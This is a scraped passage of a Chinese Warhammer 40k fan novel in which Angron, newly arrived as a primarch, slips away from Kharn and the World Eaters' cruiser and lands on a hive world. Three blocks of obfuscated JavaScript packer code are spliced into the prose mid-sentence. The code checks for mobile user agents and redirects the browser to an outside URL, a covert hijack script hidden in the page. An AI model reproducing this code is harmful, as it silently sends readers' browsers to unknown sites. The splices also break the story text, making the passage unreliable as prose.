35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160747|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > …… 现在到了人类第31个千年,霍恩不在了,他也被迫离开卡恩,但“卡恩”的命运似乎还在重演。正如霍恩说的那样,“只要发生过的事情,就一定会再次发生”。 在这个时代,疑似卡恩的人正对一个叫“帝皇”的人献上忠诚,连命都不要! 在安格隆看来,“帝皇”和“霍恩”没有任何区别。 霍恩千方百计地引诱安格隆走进颅骨俱乐部,送给安格隆一个儿子,要求安格隆打无穷无尽的颅骨排位赛。 帝皇直接强硬地将安格隆绑走,塞给安格隆一个军团,要求安格隆进行银河大远征。 他们都不在乎安格隆的想法,到底有什么好忠诚的! 安格隆真想掰开卡恩的脑子看看里面有什么。 卡恩在安格隆面前领路,感觉头顶凉凉的。 在收拾荣誉大厅的残局后,卡恩便作为临时侍从武官,为安格隆讲解原体应有的基本知识。他先从他们所在的这艘超重型巡洋舰“重锻”号说起,足足讲了好几天。 “我们十二军团拥有众多战列舰和巡洋舰,其中最为耀眼的便是那艘荣光女王级战列舰‘坚毅决心’号。它们以及我们军团的其他人此刻都在四处征战,听闻您已归来的消息后,都迫不及待地赶过来接受您的检阅。” 安格隆看着舷窗外的护航战舰列队,又看看仓库里的雷鹰炮艇机,第一次有穿越未来的实感,不可避免的有些激动。 然后卡恩为他介绍了帝国政权,与阿斯塔特们强相关的有内政部、帝国海军后勤管理部、帝国星语庭和领航员家族。安格隆评价道:“人类未来倒退到封建社会,真是酷毙了。” 卡恩介绍了军团武器,爆弹枪、等离子枪、热熔枪、链锯斧、链锯剑、链锯槌。安格隆怀疑自己耳朵出问题了:“你是说,银河未来的战争,主要靠我们拿着这些武器在地表上玩近战?” 卡恩顺口介绍了半路遇见的头骨模样的伺服颅骨、血肉与机械组成的机仆、没有理智被切割性征的半机械奴工。 安格隆好奇地观察了几秒,眉头紧皱。 卡恩提了几句很久以前的铁人叛乱,一些智能科技因此被禁用,其余的他也不是很清楚。 安格隆沉默了一段路,疑惑地问道:“……帝皇真名是雷托·厄崔迪还是保罗·厄崔迪?” 卡恩忍受了一路安格隆毫无常识的发问,此刻才停住脚步,委婉道:“如果您有需要深入了解的消息,我可以让专门人士过来讲解。” “我不像你一样脑子里面都是水。”安格隆没好气地说,“我听懂了,这是个人类命不长的世界。” 那您原本生活的世界又是怎样的未开化呢?卡恩低下头,在心中长叹。 安格隆的视线又在卡恩头顶上打转。 他接受了自己成为3米多高的原体这一事实。一开始他很不习惯,所有东西对他而言都太小了,他甚至要弯腰才能走进一些走廊。 但长得高也不是没有坏处。 那就是……卡恩变得矮矮的,就像小时候一样。 安格隆想到这位卡恩二号生存在如此落后的未来世界,心中一声长叹。 尤其看到卡恩低头后,他下意识抬手摸了摸卡恩的头,如同一位父亲道:“但是没关系,不要担心。” 卡恩屏住呼吸,整个人完全僵住。 安格隆尴尬地收回手。 4. 紧急军务 两人默契地忽略刚才的接触,继续巡视这艘巡洋舰。 期间不少阿斯塔特都有意无意地在走廊偶遇安格隆,想多见一眼原体。原体在大厅前审阅完他们后一句话都没有留下,让战犬们有些疑虑自己是哪里做得不够好。 事实上是安格隆根本不想理他们,养一个孩子已经让他重返贫困,养一个军团肯定会让他早衰而亡,他才不要自取灭亡。更何况他真的很难接受突然多出来这么多、这么大、实际年龄可能比他还老的儿子。 特别是卡恩告诉他,大叔模样的基尔也是他子嗣的时候,安格隆感觉自己平白无故老了很多岁。 前面假装不经意走来的是卡恩的熟人,九连连长德雷格。如果当初卡恩躺在了荣誉大厅的地板上,下一个来见安格隆的,就是德雷格。 “原体大人。”德雷格无不崇敬地对安格隆说道,“这是重锻号的军务日志,请您审阅。” 安格隆冷冷地看了他一眼。 卡恩顺势接过那份资料,道:“谢谢你兄弟,我暂时替原体拿着。” 德雷格微微朝他皱眉。他特意拿资料过来为的什么?不就为的能顺势在原体身边做事。虽然卡恩能赢得原体的考验十分优秀,但也不能一直一个人待在原体身边,把其他兄弟都赶走吧。船上大多数都是八连的,能听卡恩的话,可还有一些其他连队的军官,他们都明里暗里朝自己投诉好几次了。 卡恩心想如果你知道你一句话里能触两个安格隆的违禁词,你也会觉得这份工作不容易。 德雷格默默无语地和卡恩对视三秒。最后,还是德雷格让步了。 他后退一步严肃道:“一切为了帝皇。” 第三个违禁词,真酷,兄弟。 卡恩假笑着目送德雷格离去,无视了走廊尽头响起的“连德雷格都不放在眼里”“卡恩太嚣张了”“原体这么做一定有他的理由”等等窃窃私语。 安格隆或许听见了,但他毫不关心卡恩可能遭受的难堪。 等他们走远了一些,安格隆才挖苦道:“你打发你战犬兄弟的手段还挺多,下一次是什么?” 卡恩维持着良好礼仪道:“他们都是为了见你,他们渴望了解你。” 安格隆不置可否,瞥了卡恩手中的资料一眼,说:“别想我看一眼这些天书,我完全看不懂。” 卡恩:“没有人能逼你做不想做的事,安格隆。” 卡恩已经从最近的对话中摸清安格隆的三个雷点,一不能喊安格隆“原体大人”(“我不是奴隶主!”),二不能让安格隆工作(“我也不是你的奴隶!”),三是不能提及“帝皇”(“他是最大号的奴隶主!”)。 他某种程度上能理解安格隆,不会多问什么。但如果要将这些禁忌说给同伴听,可能会引起多余的麻烦。所以他才执拗地驱赶所有想靠近的战犬。 一切为了十二军团的和谐。卡恩心想。 现在卡恩只能讲解那些安格隆感兴趣的话题,例如这艘巡洋舰,以及巡洋舰上的军械库。 一名叫做马歇尔的技术军士已经在军械库等候许久。 “重锻”号尽管是个超重型巡洋舰,但只是个巡洋舰,铸造厅和军械库连在一起了,所以他也待在这儿。他原本以为自己这种后勤人士很少能有面见原体的机会,没想到卡恩马上替原体召见了自己。真是个好八连长,他当初果然没看错。 马歇尔在八连服役之前,已经在火星上学习了40个标准泰拉年,精通从链锯斧到雷鹰的操作与维护,尤其精通近战武器的维护,战场上你掰断了链锯斧他都能当场焊接回去。这艘船上有那么多技术军士,卡恩独独挑了自己,他深信正是自己的兢兢业业才赢得此次机会。 接下来一定要好好表现! 当大门打开,他当即站起来,肃穆地以拳抵胸口行礼,一言不发。卡恩在来之前特意通知过他,除非原体询问,否则一句话都不要说。就算原体询问,也只单纯回答问题就好。 马歇尔想不明白连长的用意,但管他呢,能见原体就行。于是他执行得格外认真。 安格隆朝他点点头,目光便被军械库里巨大的动力甲吸引住了。 “这是——我的装甲?像你们穿戴的那种?”安格隆问道。 “是的。它名为‘雷霆之铠’,各关键部位都由精金打造,武器装备齐全已经可以投入战斗。但它还可以测量数值以及收集您的体验。火星上的机械神教将会根据您的反馈为您打造全新且独一无二的战甲。”马歇尔激动地回答。 “测试数值?”安格隆捏了捏装甲,确认它不会一捏就碎,“总算来个结实点的家伙。”他露出满意的神色,卡恩暗暗松口气。 “但我不喜欢裹得严严实实的。我是罐头里的肉吗?”安格隆转头就开始挑毛病。 好在马歇尔被火星的机械贤者使唤多年,根本不怕这点挑战。他立刻迎上来,道:“我听闻其他原体在穿戴动力甲时,也抱怨过动力甲的反应速度不足。所以它只是个初代版本,测试数值很有必要。我,与其他技术军士,以及机械神教,都会打造出让您满意的动力甲。” 也许是马歇尔从头到尾都没有说违禁词,也许是安格隆被技术军士身上纯净的热情打动了,总之安格隆没有刁难他,反而说:“那就开始测试吧。” 马歇尔高高兴兴地上手,内心不断狂欢。 卡恩在旁边盯了一会儿,确认马歇尔没有生命危险,才向安格隆申请暂时离开。他需要处理“重锻”号上的一份紧急军务。安格隆并不在乎什么军务,挥挥手让卡恩走。 …… 紧急军务只是托词。 真实情况是,十二军团的军团长兼一连长,基尔,醒过来了。 卡恩快步走向医疗室,看见那位可敬的一连长坐在病床上。他从未失去他的那份威严,但他也从未如此疲惫。 基尔最先醒来并不让卡恩意外。能成为战犬的军团长,他本身就是一个各方面都出类拔萃之人。不如说他根本不可能被原体轻易击倒,只是他的忠诚,他的失落,让他无法做出反击。 卡恩像个新兵一样站定,向基尔敬礼。基尔点点头,率先道:“卡恩,你做得很好。你完成了原体的挑战,还成为了原体的侍从武官,你让所有兄弟都为你骄傲。” 卡恩有很多话想说,可都说不出口。 他只能问道:“您的伤势还好吗?” “我的伤势……”基尔微微握紧拳头,“不,那是一份耻辱。” 卡恩谨慎道:“我猜测当时安格隆刚传送来,误判了荣誉大厅的情况才进行攻击。这些天的交流,我发现他来自一个没有灵能,武器也很落后的普通世界。他只是暂时不理解我们。” 基尔摇摇头:“是我们应该理解他。” 卡恩又道:“而且帝皇并没有和安格隆说明大远征的意义,需要由我们亲自讲解,这情况很少见。我们终究比不上帝皇的亲自陪伴,他一开始无法接纳我们也很正常。” 基尔依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160748|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧摇头:“帝皇让我们如此行动,一定有他的理由。” 卡恩最终如实说道:“原体肯定和帝皇产生了矛盾。这矛盾导致安格隆至今不肯接受十二军团半点事务。再这样下去原体回归也不过是多了件摆设。” “卡恩!”基尔怒道,“注意你的言辞!” 卡恩后退一步,敬礼,表示自己绝不多说。 基尔道:“你直呼原体大人的名字我就先不管了……” 卡恩:“他乐意。” 基尔叹了一口气,道:“我知道你有你的想法,但我就算不是军团长了,也是个没有死在战场上的一连长,你还是得听我的。卡恩,之后你得把我们八个人倒在荣誉大厅的事掩盖起来。船上没有来记叙者吧?” 卡恩冷峻道:“重锻号除了奴工与水手们,一个凡人都没有。” “那就好。”基尔说道,“这样知道那件事的只有我们的战犬兄弟,大部分都是你的八连士兵。对于他们,掩盖这件事的发生没有意义。你得把我们八个人的倒下定义为耻辱!” “军团长!”卡恩不得不急切道,“这不是你的责任!” 虽然他会偷偷喊基尔老头,但绝不代表他不尊重基尔。他从新兵时期就听从基尔的教导,被基尔身上张弛有度的战争艺术所折服。他如何往这样一位可敬的前辈身上泼脏水? “你得说是我们这八人过于急切,触怒了原体,没有通过原体的挑战才倒下。”基尔盯着卡恩的眼睛,“如果这份血腥不是我的污点,那它就会成为原体的污点,成为十二军团的污点。那些可恶的高领主会在泰拉议会上借此大放厥词,污蔑战犬过去所获的荣光。你我都知道那不是真的,可真相已经不重要。” 卡恩想起还在军械库、对此毫不关心的安格隆。他不明白,万众瞩目的原体回归后,带给十二军团的怎么会是这样的礼物? “往好处想吧,今后你该大肆夸耀你的荣誉了。你可是战犬里第一个当上侍从武官的人。”基尔拍拍卡恩的肩膀。 “其实我是自己给自己升职的。”卡恩艰难一笑,“记得给我补发任命文书,军团长。” 基尔:“你的下一个任务,就是让我们的原体接过‘军团长’这个职位。十二军团需要他。” 卡恩心中满是苦涩。 “我相信你能做到。”基尔用力按了按卡恩的肩膀,“一切为了安格隆,为了帝皇。” 卡恩被基尔眼中的信念感所击中。他再一次告诫自己,当做另一场长期战斗吧,这场战斗绝不会比任何真枪实弹的战场更可怕了。你需要付出的只是耐心,与理解。 卡恩深呼吸,将此刻的情绪深埋于记忆中。他看向基尔,用力承诺: “我保证。下一次,我会带他站在这里。” “为了安格隆。” “为了帝皇……” 从医疗室出来后,卡恩心中的茫然驱散不少,取而代之的是投入新战斗的动力。他绝不会辜负基尔的期待,一定会让安格隆接纳十二军团。接下来就让安格隆看看,他身为战犬的决心与荣耀吧! 卡恩走回军械库,却没有看到安格隆的身影,只有在忙上忙下的马歇尔。 如一桶冰水迎头泼下,卡恩心中瞬间有了不好的预感。 卡恩在门口站了三秒,才迟疑地问道:“安格隆呢?” “原体?”马歇尔不明所以地回头,“他在你离开后,就马上离开了啊?” “理由是……‘紧急军务’。” 5. 第二局 尽管也有安格隆在重锻号的某个角落散步的可能,卡恩还是第一时间前往舰长室查监控。他步伐匆匆,面沉如水,路上想与他打招呼的战犬们都升起一丝焦虑。 这是一场战斗。 这是一场敌暗我明、漫长的追踪战。 不要将过往的对敌经验套在这个人身上,不要试图小看你的敌人,卡恩。 卡恩用岩石般的心智撑起自己,不惊扰任何人地来到舰长操控室。 当时得知原体归来,战犬们在匆忙之下选择了最近的巡洋舰过来。第八连的一名中尉还顶替了里面的凡人舰长,宣称他家本来就是海军世家,理应在面见原体的队伍里。 卡恩无比庆幸那时自己容忍了那不讲纪律的行为。这名中尉虽然鲁莽,但是是自己人。卡恩不费太多口舌,就让对方调出整舰的监控录像。 “连长,接下来我能看吗?”中尉有些小心翼翼地问。 卡恩想了想,道:“当然,接下来我还需要你的帮助。” 中尉松了口气,将装有安格隆身影的画面调大。 录像里,安格隆在和马歇尔说再见,马歇尔喜形于表,激动地敬礼。安格隆脸上浮起一闪而过的笑意,卡恩不确定那是不是嘲讽。 “然后原体大人去往的是……实弹演习场,仓库,训练大厅,侧舷观测室,甲板,他和两名幸运的军官说话了,然后是……投放舱!”中尉快速调出安格隆的行动路线,眼睛都瞪大不少。 卡恩凑近了些,努力将原体的每一个举动印在脑海里。 安格隆在卡恩讲解这些地方的时候,都只是匆匆翻了几页说明书,然后阴阳怪气几句。卡恩以为安格隆来自科技落后的星球而看不懂,因而也温顺地闭口不言。 如今看来全然不是这样,安格隆轻而易举地接纳了这些复杂玩意的概念。他游刃有余地穿行重锻号,像个土生土长的泰拉海军。 来到投放舱的位置,安格隆喊来一群奴工帮他找可以出动的运输艇,并联系上附近的某一艘护卫舰。 “原体大人竟然把那些奴工都叫上快艇,噢,他们联络上了那艘护卫舰……309号!他们要乘坐快艇去往那艘护卫舰,那艘舰上可什么都没有!连个像样的舰长或军官都没有一个。”中尉说道,“原体要离开这里吗?” 他以为原体只是前往其他战舰巡视了。在战犬心里,好不容易回归的原体突然离开十二军团根本是不可能的事。 卡恩的双臂颓然地垂在两侧,他都不知道,安格隆是如何从众多护卫舰中判断出,只有那一艘护卫舰没有任何一位阿斯塔特存在。 这是你犯的第一个错误,卡恩,你出于第一印象而胆敢小瞧一位原体,小瞧帝皇在世间最伟大的造物之一。 你被你的原体蒙蔽了。你以为你兢兢业业地让原体远离可能令他发怒的一切事物,实际你只是被诓作整艘船逃离路径的介绍员;你以为在替原体处理麻烦,因为你的原体说看不懂军务,实则原体在你看不见的地方暗暗发笑;你以为你会让原体和十二军团的心连在一起,实际上原体迫不及待地逃离了,在你的眼睛没有钉在他身上的下一秒后。 倘若你一直把“这段时间”当做战斗,你就不会轻易地犯这种错误。可是你没有,你松懈了,你大意了,所以你输了第一局。 卡恩绷紧脸,仿佛能从他紧闭的牙关中听出一些令人发麻的咀嚼声。这是他在战斗时常做出的思考模样,像头冷静等待的食人野兽。 一旁的中尉只感觉压力山大,他还以为安格隆上船有什么深意,所以他还在尽职地转播:“咦,原体大人……在看我们吗?” 卡恩的目光落回录像上。 只见安格隆抬起头,准确无误地找到悬挂于顶的监控器。他紧皱的眉头忽然松开,露出一个畅快的笑容。卡恩意识到,他的众多兄弟都继承了安格隆面容的某个特点,有些是眼眉,有些是颧骨,有些是下巴。他从这个巨人身上看到许许多多他兄弟的影子。若非安格隆总因不知名的原因拧紧表情,他不会到现在才发现这点。 那你呢?你明明能看清我们每一张脸。你就没有从我们身上感受到一点相似的东西吗? 卡恩的诘问几乎要冲破胸口。 然后,他看见安格隆自信满满地对监控比了个中指,顺便晃了晃他薅来的“雷霆之铠”的手部装甲。 卡恩:…… 中尉激动地怒吼:“原体大人我们敬爱你呀!” 卡恩:…… 中尉激动地看安格隆走进快艇,因为身躯远超常人,他进得有些憋屈。但那只是几秒钟的时间。 几秒后,他将抵达一艘距离“重锻号”80公里外的护卫舰。乍一看这两艘船离得很远,实际上在太空的尺度里,也就是护卫舰对巡洋舰的标准距离罢了。 所以只需要再过几秒,安格隆就会舒舒服服地坐在护卫舰上,指挥奴工与机仆操作机器驶向某个星球。这个星球可能是附近的世界里的,也可能是战犬们曾经征服过而在星图上留有坐标的。卡恩不知道安格隆会怎么选。 宇宙太庞大了,直到第30个千年,人类仍未曾见识到她的真面目,只需轻轻一阵风就能将这艘小小的护卫舰存在过的痕迹湮灭。 “联络护卫舰309号、机仆请回答我,这里是重锻号舰长室,请回答——”中尉未曾意识到他所面临的困境。直到他发现那艘护卫舰的信号如同石沉大海,鸟卜仪根本看不见那个理应存在的小点。他重新回看监控录像,发现已经是半小时前。 一些紧张情绪引发的激素凝胶从他皮肤上分泌出来。卡恩嗅到了,朝他扬了扬眉毛。 中尉的脸色灰白,不敢相信自己见证了何等可怖的场景:“原体、原体……” 原体不见了,在我跟他讲解这艘船三天后,迫不及待地抛下我们走了。卡恩面无表情地在心里补充。 中尉小心翼翼地回避那可能的事实,急切地问道:“卡恩,我们的原体大人……他会回来吗?”他的表情变得扭曲,像是战斗失利的沮丧,又像是在积攒战前的愤怒。 卡恩了解那表情的含义,他观察过,那是战犬们在别扭地表达伤心。卡恩一下子被战友的悲伤点燃了心中的火焰。 他沉稳说道:“没关系,我心里有数。你继续工作,我们很快会找到他。我需要你的助力,但我也需要你保密。” “是的连长!”中尉用力锤了一下胸口,眼神变得严肃,再也看不到半分钟前那位有些冒失的新兵蛋子了。“为了安格隆!为了帝皇!”他大喊。 “为了安格隆,为了帝皇。”卡恩平静地应和着他战友的宣言。 离开舰长室后,卡恩走向军械库,再次找到了马歇尔。 马歇尔这次不再大大咧咧,反而挠着脑袋问:“我是不是……做错了什么事?我猜不是破坏了原体的计划,就是破坏了你的。不然你之前不会那副表情。” 卡恩:“那都不重要。我之前交代你做的事你完成了吗?” 马歇尔一下子目光坚定:“连长,你如此信任我,我当然能完成。” 卡恩严厉的眼神扫来:“哪怕是往‘雷霆之铠’的每一处部位都装上信号发生器?” 马歇尔几乎要一蹦三丈:“哪怕是‘雷霆之铠’!” 然后他慢慢下滑,努力缩小自己的存在:“但那不是为了更好地收集原体的信息吗……你说的,原体来自没有科技的世界,为了避免原体迷失在巨大的战舰里,这是必要的帮助……” ——其实是为了安格隆再连揍8人时他能快速抵达现场。卡恩冷冷想道。 马歇尔:“我做错了吗?” “没有。”卡恩露出如释重负的微笑,“你做得很好。” 马歇尔也松了一口气,将信号波形信息的资料传输给卡恩。 卡恩转过身,却不敢完全松懈。 这是第二局,是漫长而隐秘的追踪战。为了军团的荣耀,他不能大张旗鼓。而他的对手,是即将引领军团重塑军团的将军,是世间罕有无可复制的帝皇伟大造物,是他们所有人的基因之父,血缘之祖。 卡恩,你不能输。 …… 护卫舰里,安格隆面对着琳琅满目的星球投影,沉思片刻,选择了一个最像地球的行星作为终点。 虽然卡恩向他介绍了许多这个宇宙的事,但安格隆总是半信半疑。在他看来,这个卡恩,以及整个十二军团都是被帝皇洗脑的可怜士兵。他不需要士兵,也不需要这么多儿子,他甚至没谈过恋爱,他只想回家。哪怕现在的地球或许已经被太阳风暴淹没,他也更想在行星灰烬里了结此生。 另一个让安格隆一刻也无法忍受、选择马上逃离重锻号的原因是…… 那些奴工…… 安格隆上船前特意数过,这里有39名奴工、49位机仆。 奴工,即生体改造的无意识仆役,其外观根据其不同功能而更改。在船上有3种奴工,一种是待命的战斗辅助型奴工,他们仅仅维持了上半身的人形,下半身被机械多功能装甲所替代,用于行走在不同的地表。他们的腹腔被掏成一个铁匣子,用来装不同的工具。双手则改造成四条机械手臂,分别抓取不同的道具。 他们半跪在一个一米高的暗舱里,低着头,等待主人命令他们去危险的战场上维修某个有战斗意义的工具。 第二种是维护战舰日常的奴工。他们的眼睛以上被完全挖去,一根根不同直径的光学透镜管代替了他们的眼睛,用于探寻舰船外侧的细微裂痕。大脑则被放置在了背部的羊水舱里,连着许多电极贴片。他们正靠这贴片与维修机仆交换维修信息。 第三种是安格隆带上船的奴工。他们最具人形,只是全身赤/裸,四肢健全,肌肉发达,性征被完全剥夺,面上血肉与铁面具相连,根本摘不下一点。他们主要负责一些搬运的苦力活。 至于机仆,安格隆已经无法分清他们是人类还是机器人了。根据安格隆得到的简单知识,机仆大多数都是被培育出来的,也有少部分是罪犯被处以“无思奴役”之刑后,被机械牧师洗脑的。他们的大脑已经如同机械一样可以被他人编程、输入指令。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160749|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机仆也会根据功能需求而进行不同的改造,船上大多数是“技工型”。 安格隆一开始有点分不清机仆和奴工的区别,后来总算抓到一个不同点:奴工需要摄入食物,机仆充电就行。 安格隆又用力把他的身躯塞进护卫舰下层,才找到一个钢琴大小的仪器。每到特定的时间点,它会从水龙头似的管子吐出方方块块的黑色硬块。 “这么点东西你们够吃吗?”安格隆抓了一把硬块,举起手来,一不小心锤破了上方的硬板。他朝着空洞外对上层的生物喊道:“喂!你们够不够吃!我可不管饭!” 没有人回答他。 “真是个神经病的世界。”安格隆骂骂咧咧地放下手,却发现自己手中的硬块已经被碾成粉末。 他皱紧眉头,尝试将这些粉末倒回坑槽——奴工们吃饭的地方——但飞船一个趔趄,粉末在糟糕的重力系统下乱飞,黏在了不同方位的地板上。 负责打扫的机仆立刻拿着清洁仪器过来,将粉末扫干净。安格隆难得窘迫地给机仆让位,他看看坑槽,又看看那些待命的奴工们。因为还没到进食的时间,他们不会看向这边一眼,连食物被浪费了也毫无察觉。 “你们肯定会被饿死。”安格隆喃喃道。 他骂了一句脏话,才将自己从狭窄的下层挤出去,来到相对而言宽敞的上层。 遗憾的是,他三米多的身高在这艘护卫舰上哪哪都显得局促。他不知道撞坏了多少根管子,才回到护卫舰,坐回那个已经被他坐扁的舰长座位上。 座位前有众多鸟卜仪的显示屏,这回安格隆是真的一个符号都看不懂,他来到这个世界全无知识,只有自己。 一位机仆过来替他调整显示屏。安格隆不想碰到他,扭了扭手臂,结果把另一个维护舰长室的奴工撞飞了。 “该死的……”安格隆看了一眼那名摔倒的奴工,对方颤颤巍巍地站起,不知疲倦与疼痛地继续他的进程。 安格隆仔细地观察这些毫无自我意识的改造生物。重锻号上,他最想观察这些奴工,但卡恩的监控到处都是。到了这艘护卫舰,他总算能好好观察。他们如同机械般的动作好像在他的心口烫了一块疤,一种与生俱来的好奇心与恶心感撕扯着他,迫使他一定要把这些奴工的来龙去脉弄清楚。 他并不怜悯,也不是想解放他们。 他只是……有些害怕。 他莫名其妙穿越到这个时空,成为了原体。无需过多解释,他也知道原体是战士中的战士,贵族中的贵族。 但是,难道他就不可能成为“奴工”吗? 没有比他更清楚,纵然人获得多么高的地位、拥有多么强大的能力,命运依旧会如海潮般将你卷进无知无能的漩涡里。他就算高贵为原体,如果有一天命运朝他翻脸,他也会沦为“奴工”一样的存在。 怀着这样隐秘的不安,安格隆忍不住将目光放在身边的奴工。他试图找出他们是如何成为奴工的,又是如何心甘情愿地被剥夺人的尊严。仿佛当他弄清楚了,有朝一日他遇到相同的困境时,也有能力解决一二。 看得久了,安格隆强迫自己移开目光,看向视窗里那无边无际的深邃宇宙,一种深空独有的孤寂感侵袭了他的心头。 在他那个年代,他只在报纸上读过美国登月的阴谋论,看过的太空电影只有大热的《异形》和《超时空接触》。没有人告诉他身处浩瀚的太空,竟有种被太空压死的窒息感。他几乎有些后悔离开卡恩了,这里没有说话的人。 安格隆品味着有毒的孤独感,没过多久便开始头痛。大脑里那不知名造物嗡嗡作响,仿佛要往脑干钻去。他的面部肌肉因为疼痛而扭曲在一起,颤抖着、痉挛着,遗忘了它们本该所在位置。因为没有监控,安格隆干脆毫无形象按着自己的脑袋,顺便锤烂了舰长室所有的椅子。 好久以后,他才适应了这股疼痛,瘫坐在铁皮废墟上。 “滴滴滴” 发出声音的是护卫舰的仪器,提示护卫舰已经抵达了目的地。护卫舰正在行星轨道上盘旋。安格隆看着占据了视窗大半视角的星球,竟然长长地松了一口气。 他终于抵达一个有人的星球,他已经受够这死寂的星际旅行了。 虽然这个星球……不像投影的那么美丽。 安格隆好奇地贴近视窗观看,那上面有个在宇宙中也能看见的宏伟建筑,一个类似金字塔、高度突破天际的巨大都市。 那是人类未来的居住地吗? 尽管他有些疑惑,但他还是为这超越时代的人类杰作而心潮彭拜。待会他将降落那里,瞧瞧人类在万年后铸造了何等奇迹,然后在万万缕消息中,寻找地球的讯息。 为了旅途的安全,安格隆还特意装备好薅来的动力拳,一个巨大的、装甲臂铠,能在周围产生能量场并附着在武器上。安格隆直觉它会很好用。 整装待发后,他的额头贴近玻璃,恰好一支升空的运输舰如同火矛穿透夜空。细长的光亮映在他眼里,仿佛希望的火炬。粗重的鼻息扑在玻璃上,水雾逐渐氤氲了一切。 6. 巢都 降落到行星表面,从空投舱里走出来,安格隆的神情从震惊逐渐演变成麻木。 滚滚黑水从5米高的排水口喷涌而出,巨大的浪花炸起漫天的紫色水花。紫绿色的浓舞带着化学物质的粼粼闪光遮蔽天空,化作永恒的虚假夜幕。在外太空看见的那颗耀眼恒星,根本无法朝这片土地洒下任何恩惠。 窸窸窣窣的声音从安格隆背后响起。他不必回头就知道,有一个生物正拿着尖矛对准他的太阳穴。 很不幸的是,对方的动静太大了,根本算不上偷袭。而他遇到这种事也太多次了,根本不需要做多余的准备。 在2k时代的颅骨俱乐部里,安格隆需要参加两种比赛,一种是普罗大众认知的拳击赛,整个俱乐部只有他一个人会参加;另一种则是霍恩亲自举办的颅骨排位赛。霍恩从世界各地找来千奇百怪的对手,让他们与安格隆对决,有时是车轮战,有时是一对多,偶尔还有无甲大混战。赢家会获得一个颅骨作为积分。安格隆一直都是颅骨排位赛的第一名。 颅骨赛有种神奇的魔力,哪怕那些对手被打得多惨,第二天都会完好无损地和安格隆一起吃早餐,或者被霍恩大骂滚出去(大部分是斯卡布兰德)。所以安格隆从来没有事实层面的杀过人。 但在这里不同。当安格隆闻到对方长矛上附着的恶臭血腥味时,战斗本能便如闪电般流窜过他的身体,他毫不迟疑地改变了进行和平星际之旅的软弱想法。 他意识到,他必须在这里大开杀戒。 …… 无数个工厂及其衍生物堆叠成庞大的巢都,像巨型蜘蛛般盘踞在这颗行星上。高耸的烟囱似漆黑的眼睛,望着大气层,望着太空,如流泪般吐着浓稠灰烟。人们管这座行星上最大的巢都叫做“诺威高地”。 在诺威高地距离地表300米的地下部分,一个身形佝偻、裹着破布的小孩正耸动鼻尖,猛猛吸入街道上的恶臭空气。 他对这恶臭习以为常,不仅如此,他还开发出一项特异功能,即从几千种臭味中分辨它们的来处。 例如巢都外的粪水有种令人中毒的眩晕感,巢都内的粪坑则是从上层一层层运下来、沤了好几天的死尸味;老鼠爬过的地方尿骚味尤其浓厚,死猫与血味、齿轮铁锈味总是混在一起;腐烂的粮食通常来自酒馆储藏室,那里的人们用它来酿酒。 而这位名为“费纳”的男孩需要追寻一个高贵的味道,手帕上的酸臭味。那是上层的人带过来捂住口鼻的,喷上了清洗剂,所以气味格外突出,费纳想忘都忘不了。 “我找到了!”费纳抓住空气中那丝不同寻常的气息,立刻兴奋地回头对身后的小伙伴说。 好几个身形瘦小的小孩子都挤在了一道狭窄的缝隙里,周围满是颅骨。在巢都下层行走,走到一半人没了是常有的事。对于幼童,离开营地更是危险翻倍。因此他们在街道上找了一个临时庇护所——一个巨大雕塑旁的缝隙。 没有人知道这个雕塑是何时搬来的,也不知道雕塑旁边为何有如此多的颅骨。它或许曾见证过凶恶的血腥事件,但对费纳这群孤儿来说,它就是街道上最安全的地方。 “你别回头,万一你又跟丢了怎么办!”一名严重驼背的幼童道。 “我才不会!”费纳立刻反驳。“这个气味一定通往上层。” “那你可别找错啦,鲁鲁德之前就错了一次……”说这话的人声音越来越小。鲁鲁德是他们这支队伍以前的领队,比他们大点,但自从前几天被贵人们抓起来打了一顿后就失踪了。也许他的尸体已经被淀粉工厂回收了。 众儿童陷入沮丧。费纳舔舔干裂的嘴唇,试图像鲁鲁德一样安抚大家:“没事的,我会成功的……” 他不敢再承受这里的压力了,于是转身大步向外迈去:“总之!等我的消息!” 众儿童挤在雕塑与墙壁间的缝隙,眼巴巴地看着离去的同伴。 费纳向前跑去,每走一步勇气都在流失。他从未走过这样长的路,从出生起他的活动范围就只有四个街道,更远的地方有其他小孩帮占领,他们都容不下一个新面孔来争夺食物。 费纳也不会容忍其他小孩来争夺自己与伙伴的地盘。他与伙伴们都是孤儿,在同一个工厂工作。老板只需要付成人十分之一的价格就能雇佣一个童工,所以费纳从记事起就开始干活。他们在那些有侵蚀性废品里钻来钻去,找到老板需要的零件。 久而久之他和其他孤儿都结下了深厚的友谊,他们不明白活着的意义,但他们愿意为对方死去。 